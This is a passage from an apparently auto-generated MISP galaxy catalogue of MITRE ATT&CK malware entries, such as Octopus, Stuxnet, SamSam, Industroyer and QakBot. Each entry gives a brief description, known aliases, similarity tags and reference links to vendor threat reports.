NETEAGLE - S0034 is also known as:

- NETEAGLE

View relationships graph

NETEAGLE - S0034 has relationships with:

- similar: misp-galaxy:malpedia="NETEAGLE" with estimative-language:likelihood-probability="likely"

Table 11091. Table References

Links
https://attack.mitre.org/software/S0034
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/05/20081935/rpt-apt30.pdf

Octopus - S0340

[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan written in the Delphi programming language that has been used by [Nomadic Octopus](https://attack.mitre.org/groups/G0133) to target government organizations in Central Asia since at least 2014.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)

The tag is: *misp-galaxy:mitre-malware="Octopus - S0340"*

Octopus - S0340 is also known as:

- Octopus

Table 11092. Table References

Links
https://attack.mitre.org/software/S0340
https://securelist.com/octopus-infested-seas-of-central-asia/88200/
https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html
https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf

Riltok - S0403

[Riltok](https://attack.mitre.org/software/S0403) is banking malware that uses phishing popups to collect user credentials.(Citation: Kaspersky Riltok June 2019)

The tag is: *misp-galaxy:mitre-malware="Riltok - S0403"*

Riltok - S0403 is also known as:

- Riltok

Table 11093. Table References

Links
https://attack.mitre.org/software/S0403
https://securelist.com/mobile-banker-riltok/91374/

SPACESHIP - S0035

[SPACESHIP](https://attack.mitre.org/software/S0035) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

The tag is: *misp-galaxy:mitre-malware="SPACESHIP - S0035"*

SPACESHIP - S0035 is also known as:

- SPACESHIP

Table 11094. Table References

Links
https://attack.mitre.org/software/S0035
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/05/20081935/rpt-apt30.pdf

SeaDuke - S0053

[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="SeaDuke - S0053"*

SeaDuke - S0053 is also known as:

- SeaDuke
- SeaDaddy
- SeaDesk

View relationships graph

SeaDuke - S0053 has relationships with:

- similar: misp-galaxy:malpedia="SEADADDY" with estimative-language:likelihood-probability="likely"

Table 11095. Table References

Links
https://attack.mitre.org/software/S0053
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

FrameworkPOS - S0503

[FrameworkPOS](https://attack.mitre.org/software/S0503) is a point of sale (POS) malware used by [FIN6](https://attack.mitre.org/groups/G0037) to steal payment card data from sytems that run physical POS devices.(Citation: SentinelOne FrameworkPOS September 2019)

The tag is: *misp-galaxy:mitre-malware="FrameworkPOS - S0503"*

FrameworkPOS - S0503 is also known as:

- FrameworkPOS
- Trinity

Table 11096. Table References

Links
https://attack.mitre.org/software/S0503
https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/

Melcoz - S0530

[Melcoz](https://attack.mitre.org/software/S0530) is a banking trojan family built from the open source tool Remote Access PC. [Melcoz](https://attack.mitre.org/software/S0530) was first observed in attacks in Brazil and since 2018 has spread to Chile, Mexico, Spain, and Portugal.(Citation: Securelist Brazilian Banking Malware July 2020)

The tag is: *misp-galaxy:mitre-malware="Melcoz - S0530"*

Melcoz - S0530 is also known as:

- Melcoz

Table 11097. Table References

Links
https://attack.mitre.org/software/S0530
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/

zwShell - S0350

[zwShell](https://attack.mitre.org/software/S0350) is a remote access tool (RAT) written in Delphi that has been seen in the wild since the spring of 2010 and used by threat actors during [Night Dragon](https://attack.mitre.org/campaigns/C0002).(Citation: McAfee Night Dragon)

The tag is: *misp-galaxy:mitre-malware="zwShell - S0350"*

zwShell - S0350 is also known as:

- zwShell

Table 11098. Table References

Links
https://attack.mitre.org/software/S0350
https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf

BONDUPDATER - S0360

[BONDUPDATER](https://attack.mitre.org/software/S0360) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)

The tag is: *misp-galaxy:mitre-malware="BONDUPDATER - S0360"*

BONDUPDATER - S0360 is also known as:

- BONDUPDATER

Table 11099. Table References

Links
https://attack.mitre.org/software/S0360
https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

FLASHFLOOD - S0036

[FLASHFLOOD](https://attack.mitre.org/software/S0036) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

The tag is: *misp-galaxy:mitre-malware="FLASHFLOOD - S0036"*

FLASHFLOOD - S0036 is also known as:

- FLASHFLOOD

Table 11100. Table References

Links
https://attack.mitre.org/software/S0036
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/05/20081935/rpt-apt30.pdf

SHOTPUT - S0063

[SHOTPUT](https://attack.mitre.org/software/S0063) is a custom backdoor used by [APT3](https://attack.mitre.org/groups/G0022). (Citation: FireEye Clandestine Wolf)

The tag is: *misp-galaxy:mitre-malware="SHOTPUT - S0063"*

SHOTPUT - S0063 is also known as:

- SHOTPUT
- Backdoor.APT.CookieCutter
- Pirpi

View relationships graph

SHOTPUT - S0063 has relationships with:

- similar: misp-galaxy:tool="Pirpi" with estimative-language:likelihood-probability="likely"

Table 11101. Table References

Links
https://attack.mitre.org/software/S0063
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html

Nebulae - S0630

[Nebulae](https://attack.mitre.org/software/S0630) Is a backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)

The tag is: *misp-galaxy:mitre-malware="Nebulae - S0630"*

Nebulae - S0630 is also known as:

- Nebulae

Table 11102. Table References

Links
https://attack.mitre.org/software/S0630
https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf

Stuxnet - S0603

[Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)

The tag is: *misp-galaxy:mitre-malware="Stuxnet - S0603"*

Stuxnet - S0603 is also known as:

- Stuxnet

- W32.Stuxnet

Table 11103. Table References

Links
https://attack.mitre.org/software/S0603
https://docs.broadcom.com/doc/security-response-w32-stuxnet-dossier-11-en
https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01
https://web-assets.esetstatic.com/wls/2012/11/Stuxnet_Under_the_Microscope.pdf
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf

HAMMERTOSS - S0037

[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="HAMMERTOSS - S0037"*

HAMMERTOSS - S0037 is also known as:

- HAMMERTOSS
- HammerDuke
- NetDuke

Table 11104. Table References

Links
https://attack.mitre.org/software/S0037
https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

ASPXSpy - S0073

[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. It has been modified by [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors to create the ASPXTool version. (Citation: Dell TG-3390)

The tag is: *misp-galaxy:mitre-malware="ASPXSpy - S0073"*

ASPXSpy - S0073 is also known as:

- ASPXSpy
- ASPXTool

Table 11105. Table References

Links
https://attack.mitre.org/software/S0073
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage

SamSam - S0370

[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)

The tag is: *misp-galaxy:mitre-malware="SamSam - S0370"*

SamSam - S0370 is also known as:

- SamSam
- Samas

Table 11106. Table References

Links
https://attack.mitre.org/software/S0370
https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf
https://www.symantec.com/blogs/threat-intelligence/samsam-targeted-ransomware-attacks
https://www.us-cert.gov/ncas/alerts/AA18-337A

StoneDrill - S0380

[StoneDrill](https://attack.mitre.org/software/S0380) is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with [APT33](https://attack.mitre.org/groups/G0064).(Citation: FireEye APT33 Sept 2017)(Citation: Kaspersky StoneDrill 2017)

The tag is: *misp-galaxy:mitre-malware="StoneDrill - S0380"*

StoneDrill - S0380 is also known as:

- StoneDrill
- DROPSHOT

Table 11107. Table References

Links

https://attack.mitre.org/software/S0380
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

Duqu - S0038

[Duqu](https://attack.mitre.org/software/S0038) is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)

The tag is: *misp-galaxy:mitre-malware="Duqu - S0038"*

Duqu - S0038 is also known as:

- Duqu

View relationships graph

Duqu - S0038 has relationships with:

- similar: misp-galaxy:tool="Duqu" with estimative-language:likelihood-probability="likely"

Table 11108. Table References

Links
https://attack.mitre.org/software/S0038
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf

Misdat - S0083

[Misdat](https://attack.mitre.org/software/S0083) is a backdoor that was used in [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) from 2010 to 2011.(Citation: Cylance Dust Storm)

The tag is: *misp-galaxy:mitre-malware="Misdat - S0083"*

Misdat - S0083 is also known as:

- Misdat

View relationships graph

Misdat - S0083 has relationships with:

- similar: misp-galaxy:malpedia="Misdat" with estimative-language:likelihood-probability="likely"

Table 11109. Table References

Links
https://attack.mitre.org/software/S0083
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf

Adups - S0309

[Adups](https://attack.mitre.org/software/S0309) is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server. (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor)

The tag is: *misp-galaxy:mitre-malware="Adups - S0309"*

Table 11110. Table References

Links
http://www.bankinfosecurity.com/did-chinese-spyware-linger-in-us-phones-a-9534
https://attack.mitre.org/software/S0309
https://www.nytimes.com/2016/11/16/us/politics/china-phones-software-security.html

SQLRat - S0390

[SQLRat](https://attack.mitre.org/software/S0390) is malware that executes SQL scripts to avoid leaving traditional host artifacts. [FIN7](https://attack.mitre.org/groups/G0046) has been observed using it.(Citation: Flashpoint FIN 7 March 2019)

The tag is: *misp-galaxy:mitre-malware="SQLRat - S0390"*

SQLRat - S0390 is also known as:

- SQLRat

Table 11111. Table References

Links
https://attack.mitre.org/software/S0390
https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/

JHUHUGIT - S0044

[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)

The tag is: *misp-galaxy:mitre-malware="JHUHUGIT - S0044"*

JHUHUGIT - S0044 is also known as:

- JHUHUGIT
- Trojan.Sofacy
- Seduploader
- JKEYSKW
- Sednit
- GAMEFISH
- SofacyCarberp

View relationships graph

JHUHUGIT - S0044 has relationships with:

- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"

Table 11112. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf
https://attack.mitre.org/software/S0044
https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html
https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/
https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government

SHARPSTATS - S0450

[SHARPSTATS](https://attack.mitre.org/software/S0450) is a .NET backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2019.(Citation: TrendMicro

POWERSTATS V3 June 2019)

The tag is: *misp-galaxy:mitre-malware="SHARPSTATS - S0450"*

SHARPSTATS - S0450 is also known as:

- SHARPSTATS

Table 11113. Table References

Links
https://attack.mitre.org/software/S0450
https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/

ADVSTORESHELL - S0045

[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is a spying backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)

The tag is: *misp-galaxy:mitre-malware="ADVSTORESHELL - S0045"*

ADVSTORESHELL - S0045 is also known as:

- ADVSTORESHELL
- AZZY
- EVILTOSS
- NETUI
- Sedreco

View relationships graph

ADVSTORESHELL - S0045 has relationships with:

- similar: misp-galaxy:malpedia="Sedreco" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="EVILTOSS" with estimative-language:likelihood-probability="likely"

Table 11114. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://attack.mitre.org/software/S0045
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/

Asacub - S0540

[Asacub](https://attack.mitre.org/software/S0540) is a banking trojan that attempts to steal money from victims' bank accounts. It attempts to do this by initiating a wire transfer via SMS message from compromised devices.(Citation: Securelist Asacub)

The tag is: *misp-galaxy:mitre-malware="Asacub - S0540"*

Asacub - S0540 is also known as:

- Asacub
- Trojan-SMS.AndroidOS.Smaps

Table 11115. Table References

Links
https://attack.mitre.org/software/S0540
https://securelist.com/the-rise-of-mobile-banker-asacub/87591/

Anchor - S0504

[Anchor](https://attack.mitre.org/software/S0504) is one of a family of backdoor malware that has been used in conjunction with [TrickBot](https://attack.mitre.org/software/S0266) on selected high profile targets since at least 2018.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)

The tag is: *misp-galaxy:mitre-malware="Anchor - S0504"*

Anchor - S0504 is also known as:

- Anchor
- Anchor_DNS

Table 11116. Table References

Links
https://attack.mitre.org/software/S0504
https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30
https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware

CloudDuke - S0054

[CloudDuke](https://attack.mitre.org/software/S0054) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)

The tag is: *misp-galaxy:mitre-malware="CloudDuke - S0054"*

CloudDuke - S0054 is also known as:

- CloudDuke
- MiniDionis
- CloudLook

Table 11117. Table References

Links
https://attack.mitre.org/software/S0054
https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

Exodus - S0405

[Exodus](https://attack.mitre.org/software/S0405) is Android spyware deployed in two distinct stages named Exodus One (dropper) and Exodus Two (payload).(Citation: SWB Exodus March 2019)

The tag is: *misp-galaxy:mitre-malware="Exodus - S0405"*

Exodus - S0405 is also known as:

- Exodus
- Exodus One
- Exodus Two

Table 11118. Table References

Links
https://attack.mitre.org/software/S0405
https://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html

Avaddon - S0640

[Avaddon](https://attack.mitre.org/software/S0640) is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.(Citation: Awake Security Avaddon)(Citation: Arxiv Avaddon Feb 2021)

The tag is: *misp-galaxy:mitre-malware="Avaddon - S0640"*

Avaddon - S0640 is also known as:

- Avaddon

Table 11119. Table References

Links
https://arxiv.org/pdf/2102.04796.pdf
https://attack.mitre.org/software/S0640
https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/

CozyCar - S0046

[CozyCar](https://attack.mitre.org/software/S0046) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="CozyCar - S0046"*

CozyCar - S0046 is also known as:

- CozyCar
- CozyDuke
- CozyBear
- Cozer
- EuroAPT

Table 11120. Table References

Links
https://attack.mitre.org/software/S0046
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

ELMER - S0064

[ELMER](https://attack.mitre.org/software/S0064) is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by [APT16](https://attack.mitre.org/groups/G0023). (Citation: FireEye EPS Awakens Part 2)

The tag is: *misp-galaxy:mitre-malware="ELMER - S0064"*

ELMER - S0064 is also known as:

- ELMER

Table 11121. Table References

Links
https://attack.mitre.org/software/S0064

https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

Gustuff - S0406

[Gustuff](https://attack.mitre.org/software/S0406) is mobile malware designed to steal users' banking and virtual currency credentials.(Citation: Talos Gustuff Apr 2019)

The tag is: *misp-galaxy:mitre-malware="Gustuff - S0406"*

Gustuff - S0406 is also known as:

- Gustuff

Table 11122. Table References

Links
https://attack.mitre.org/software/S0406
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html

Industroyer - S0604

[Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.(Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid.(Citation: Dragos Crashoverride 2018)

The tag is: *misp-galaxy:mitre-malware="Industroyer - S0604"*

Industroyer - S0604 is also known as:

- Industroyer
- CRASHOVERRIDE
- Win32/Industroyer

Table 11123. Table References

Links
https://attack.mitre.org/software/S0604
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

BBK - S0470

[BBK](https://attack.mitre.org/software/S0470) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)

The tag is: *misp-galaxy:mitre-malware="BBK - S0470"*

BBK - S0470 is also known as:

- BBK

Table 11124. Table References

Links
https://attack.mitre.org/software/S0470
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf

Monokle - S0407

[Monokle](https://attack.mitre.org/software/S0407) is targeted, sophisticated mobile surveillanceware. It is developed for Android, but there are some code artifacts that suggests an iOS version may be in development.(Citation: Lookout-Monokle)

The tag is: *misp-galaxy:mitre-malware="Monokle - S0407"*

Monokle - S0407 is also known as:

- Monokle

Table 11125. Table References

Links
https://attack.mitre.org/software/S0407
https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf

Sakula - S0074

[Sakula](https://attack.mitre.org/software/S0074) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)

The tag is: *misp-galaxy:mitre-malware="Sakula - S0074"*

Sakula - S0074 is also known as:

- Sakula
- Sakurel

- VIPER

View relationships graph

Sakula - S0074 has relationships with:

- similar: misp-galaxy:rat="Sakula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"

Table 11126. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/
https://attack.mitre.org/software/S0074

Cerberus - S0480

[Cerberus](https://attack.mitre.org/software/S0480) is a banking trojan whose usage can be rented on underground forums and marketplaces. Prior to being available to rent, the authors of [Cerberus](https://attack.mitre.org/software/S0480) claim was used in private operations for two years.(Citation: Threat Fabric Cerberus)

The tag is: *misp-galaxy:mitre-malware="Cerberus - S0480"*

Cerberus - S0480 is also known as:

- Cerberus

Table 11127. Table References

Links
https://attack.mitre.org/software/S0480
https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html

PinchDuke - S0048

[PinchDuke](https://attack.mitre.org/software/S0048) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2008 to 2010. (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="PinchDuke - S0048"*

PinchDuke - S0048 is also known as:

- PinchDuke

Table 11128. Table References

Links
https://attack.mitre.org/software/S0048
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

GeminiDuke - S0049

[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="GeminiDuke - S0049"*

GeminiDuke - S0049 is also known as:

- GeminiDuke

View relationships graph

GeminiDuke - S0049 has relationships with:

- similar: misp-galaxy:tool="GeminiDuke" with estimative-language:likelihood-probability="likely"

Table 11129. Table References

Links
https://attack.mitre.org/software/S0049
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

Machete - S0409

[Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset used by [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines that was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020)

The tag is: *misp-galaxy:mitre-malware="Machete - S0409"*

Machete - S0409 is also known as:

- Machete
- Pyark

Table 11130. Table References

Links
https://attack.mitre.org/software/S0409

https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/
https://securelist.com/el-machete/66108/
https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf

DoubleAgent - S0550

[DoubleAgent](https://attack.mitre.org/software/S0550) is a family of RAT malware dating back to 2013, known to target groups with contentious relationships with the Chinese government.(Citation: Lookout Uyghur Campaign)

The tag is: *misp-galaxy:mitre-malware="DoubleAgent - S0550"*

DoubleAgent - S0550 is also known as:

- DoubleAgent

Table 11131. Table References

Links
https://attack.mitre.org/software/S0550
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

RARSTONE - S0055

[RARSTONE](https://attack.mitre.org/software/S0055) is malware used by the [Naikon](https://attack.mitre.org/groups/G0019) group that has some characteristics similar to [PlugX](https://attack.mitre.org/software/S0013). (Citation: Aquino RARSTONE)

The tag is: *misp-galaxy:mitre-malware="RARSTONE - S0055"*

RARSTONE - S0055 is also known as:

- RARSTONE

View relationships graph

RARSTONE - S0055 has relationships with:

- similar: misp-galaxy:tool="RARSTONE" with estimative-language:likelihood-probability="likely"

Table 11132. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/
https://attack.mitre.org/software/S0055

TEARDROP - S0560

[TEARDROP](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024). It was likely used by [APT29](https://attack.mitre.org/groups/G0016) since at least May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)

The tag is: *misp-galaxy:mitre-malware="TEARDROP - S0560"*

TEARDROP - S0560 is also known as:

- TEARDROP

Table 11133. Table References

Links
https://attack.mitre.org/software/S0560
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

EKANS - S0605

[EKANS](https://attack.mitre.org/software/S0605) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://attack.mitre.org/software/S0605) has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex](https://attack.mitre.org/software/S0576).(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)

The tag is: *misp-galaxy:mitre-malware="EKANS - S0605"*

EKANS - S0605 is also known as:

- EKANS
- SNAKEHOSE

Table 11134. Table References

Links
https://attack.mitre.org/software/S0605
https://unit42.paloaltonetworks.com/threat-assessment-ekans-ransomware/
https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/

https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html

ViperRAT - S0506

[ViperRAT](https://attack.mitre.org/software/S0506) is sophisticated surveillanceware that has been in operation since at least 2015 and was used to target the Israeli Defense Force.(Citation: Lookout ViperRAT)

The tag is: *misp-galaxy:mitre-malware="ViperRAT - S0506"*

ViperRAT - S0506 is also known as:

- ViperRAT

Table 11135. Table References

Links
https://attack.mitre.org/software/S0506
https://blog.lookout.com/viperrat-mobile-apt

QakBot - S0650

[QakBot](https://attack.mitre.org/software/S0650) is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. [QakBot](https://attack.mitre.org/software/S0650) is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably [ProLock](https://attack.mitre.org/software/S0654) and [Egregor](https://attack.mitre.org/software/S0554).(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)

The tag is: *misp-galaxy:mitre-malware="QakBot - S0650"*

QakBot - S0650 is also known as:

- QakBot
- Pinkslipbot
- QuackBot
- QBot

Table 11136. Table References

Links
https://attack.mitre.org/software/S0650
https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot
https://redcanary.com/threat-detection-report/threats/qbot/

https://securelist.com/qakbot-technical-analysis/103931/
https://success.trendmicro.com/en-US/solution/KA-0011282

BitPaymer - S0570

[BitPaymer](https://attack.mitre.org/software/S0570) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](https://attack.mitre.org/software/S0570) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](https://attack.mitre.org/software/S0570) has several indicators suggesting overlap with the [Dridex](https://attack.mitre.org/software/S0384) malware and is often delivered via [Dridex](https://attack.mitre.org/software/S0384).(Citation: Crowdstrike Indrik November 2018)

The tag is: *misp-galaxy:mitre-malware="BitPaymer - S0570"*

BitPaymer - S0570 is also known as:

- BitPaymer
- wp_encrypt
- FriedEx

Table 11137. Table References

Links
https://attack.mitre.org/software/S0570
